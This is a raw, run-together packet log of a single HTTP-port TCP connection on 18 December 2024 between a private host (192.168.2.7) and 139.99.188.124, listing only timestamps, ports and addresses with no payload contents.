                                                        Dec 18, 2024 09:19:27.176527023 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.178973913 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.178992033 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.179003954 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.179016113 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.179033995 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.179066896 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.182410002 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.182421923 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.182432890 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.182444096 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.182456017 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.182461023 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.182498932 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.183022976 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.183073997 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.183590889 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.183660984 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.183713913 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.184777975 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.225233078 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.291790962 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.291810036 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.291925907 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.292167902 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.292253017 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.292309046 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.293065071 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.293163061 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.293206930 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.294157982 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.294373989 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.294419050 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.295228004 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.295300961 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.295367002 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.296478987 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.296490908 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.296542883 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.297684908 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.297765970 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.297811031 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.298671007 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.298682928 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.298727036 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.299612999 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.299861908 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.299917936 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.300657988 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.316721916 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.316855907 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.316934109 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.317082882 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.317131996 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.317215919 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.318011999 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.318063974 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.318192959 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.319080114 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.319122076 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.319120884 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.320022106 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.320065975 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.320123911 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.321069002 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.321111917 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.321201086 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.322041988 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.322083950 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.322170973 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.323117971 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.323163033 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.323218107 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.324137926 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.324177027 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.324179888 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.325227976 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.325239897 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.325278997 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.326061010 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.326105118 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.326256990 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.327019930 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.327064991 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.327327013 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.328046083 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.328087091 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.328123093 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.329042912 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.329083920 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.329118967 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.330079079 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.330121040 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.330142975 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.331031084 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.331068993 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.331244946 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.332107067 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.332118034 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.332151890 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.333178997 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.333189964 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.333218098 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.334148884 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.334162951 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.334197044 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.335042000 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.335108042 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.335212946 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.336038113 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.336083889 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.336245060 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.337111950 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.337146997 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.337151051 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.338047981 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.338100910 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.338136911 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.339049101 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.339091063 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.339143991 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.340186119 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.340198040 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.340265036 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.341162920 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.341207027 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.341305971 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.342098951 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.342142105 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.342232943 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.343298912 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.343311071 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.343367100 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.344039917 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.344080925 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.344168901 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.345233917 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.345244884 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.345274925 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.346080065 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.346132994 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.346134901 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.347150087 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.347229958 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.347250938 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.348048925 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.348093033 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.348190069 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.349025965 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.349065065 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.349313974 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.350244999 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.350258112 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.350291014 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.351035118 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.351093054 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.351214886 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.352123976 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.352183104 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.352297068 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.353138924 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.353149891 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.353190899 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.353991032 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.354038000 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.354227066 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.355060101 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.355099916 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.355299950 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.356122017 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.356159925 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.356180906 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.357219934 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.357233047 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.357270956 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.358016014 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.358064890 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.358299971 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.359101057 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.359152079 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.359210968 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.360035896 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.360078096 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.483017921 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.483094931 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.483175993 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.483530045 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.483599901 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.483654976 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.484571934 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.484584093 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.484632015 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.485503912 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.485670090 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.485713959 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.486604929 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.486727953 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.486772060 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.487545967 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.487627983 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.487673044 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.488537073 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.488624096 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.488667965 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.489499092 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.489672899 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.489718914 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.490520954 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.490967035 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.491019964 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.491480112 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.491605043 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.491650105 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.507742882 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.507992029 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.508064032 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.508241892 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.508402109 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.508460045 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.519104958 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519128084 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519140959 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519151926 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519165039 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519190073 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519197941 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.519202948 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519233942 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.519622087 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519634008 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519644976 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519655943 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519665956 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519675970 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.519675970 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519687891 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519699097 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519709110 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.519721985 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.519737959 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.519748926 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.520081997 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.520097017 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.520107031 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.520118952 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.520129919 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.520131111 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.520140886 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.520158052 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.520179033 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.523924112 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.523935080 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.523946047 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.523957014 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.523967981 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.523969889 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.523982048 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.523989916 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.523999929 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.524039984 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.524573088 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.524605036 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.524616003 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.524622917 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.524655104 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.525281906 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.525301933 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.525345087 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.526253939 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.526448011 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.526490927 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.527380943 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.527393103 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.527435064 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.528238058 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.528371096 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.528408051 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.529216051 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.529407024 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.529453993 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.530458927 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.530471087 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.530504942 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.531369925 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.531380892 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.531436920 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.532635927 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.532649040 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.532697916 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.533698082 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.533710957 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.533756018 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.534568071 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.534579039 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.534614086 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.535368919 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.535381079 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.535415888 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.536792040 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.536803961 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.536859035 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.537230968 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.537945986 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.537993908 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.539146900 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.539159060 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.539195061 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.539254904 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.539360046 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.539402962 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.540235043 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.540313959 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.540355921 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.541290045 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.541307926 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.541428089 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.542192936 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.542355061 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.542402029 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.543380022 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.543390989 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.543423891 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.544447899 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.544460058 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.544516087 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.545397043 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.545408010 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.545440912 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.546443939 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.546457052 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.546513081 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.547372103 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.547384024 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.547425985 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.548435926 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.548449039 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.548491955 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.549218893 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.549345016 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.549387932 CET4970580192.168.2.7139.99.188.124
